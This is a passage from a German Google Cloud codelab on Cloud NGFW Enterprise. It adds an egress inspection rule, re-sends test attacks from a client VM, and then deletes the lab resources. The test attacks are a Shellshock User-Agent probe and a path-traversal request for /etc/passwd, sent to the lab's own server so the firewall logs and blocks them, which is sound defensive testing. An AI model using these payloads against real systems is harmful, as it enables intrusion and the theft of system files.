Wie im vorherigen Abschnitt bestätigt, handelt es sich bei den bisher untersuchten Datenflüssen um Intra-Subnetz-/VPC-Datenflüsse (Ost-West) und eingehenden Traffic aus dem Internet (Nord-Süd-eingehend). Cloud NGFW Enterprise kann auch so konfiguriert werden, dass der gesamte Internettraffic (ausgehend von Nord-Süd) geprüft wird. Dazu erstellen Sie eine neue Regel für ausgehenden Traffic mit Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Wechseln Sie zurück zur Client-VM und senden Sie Angriffe mit hohem Schweregrad noch einmal an die IP-Adresse des externen Servers:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Erwartete Ausgabe:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Wechseln Sie in der Cloud Console zum Tab „Bedrohungen“, um die Logs zu prüfen. Möglicherweise müssen Sie die Seite mehrmals aktualisieren. Die Angriffe hätten identifiziert und noch einmal protokolliert, aber jetzt ist die Quell-IP-Adresse intern, da zuerst eine Regel für ausgehenden Traffic ausgelöst wird:

36f8edf264dcddcd.png

Schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Abschnitt mit den Bereinigen fort.

8. Bereinigungsschritte

Bereinigung der Cloud NGFW Enterprise-Komponenten

Vorhandene Cloud NGFW Enterprise-Verknüpfungen auflisten:

gcloud network-security firewall-endpoint-associations list

Löschen Sie die Cloud NGFW Enterprise-Verknüpfung:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Listen Sie vorhandene Cloud NGFW Enterprise-Endpunkte auf:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Löschen Sie den Cloud NGFW Enterprise-Endpunkt. Dies kann etwa 20 Minuten dauern:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Prüfen Sie, ob Cloud NGFW Enterprise gelöscht wurde, indem Sie den folgenden Befehl ausführen:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Löschen Sie die Sicherheitsprofilgruppe und das Threat Prevention-Profil:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Clean-up für Basiseinrichtung

Fahren Sie mit dem nächsten Schritt fort, wenn Sie die Basisressourcen löschen möchten.

Definieren Sie bei Bedarf die Umgebungsvariablen. Löschen Sie in Cloud Shell die Komponenten des Network Load Balancers:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

So entfernen Sie Instanzen:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Führen Sie optional die folgenden Schritte aus, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Entfernen Sie Tag-Schlüssel und -Werte:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Löschen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Löschen Sie Cloud Router und Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Löschen Sie reservierte IP-Adressen:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Löschen Sie zum Schluss das Subnetz und das VPC-Netzwerk:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Glückwunsch!

Herzlichen Glückwunsch! Sie haben das Codelab für Cloud NGFW Enterprise for East-West and North-South Inspection erfolgreich abgeschlossen.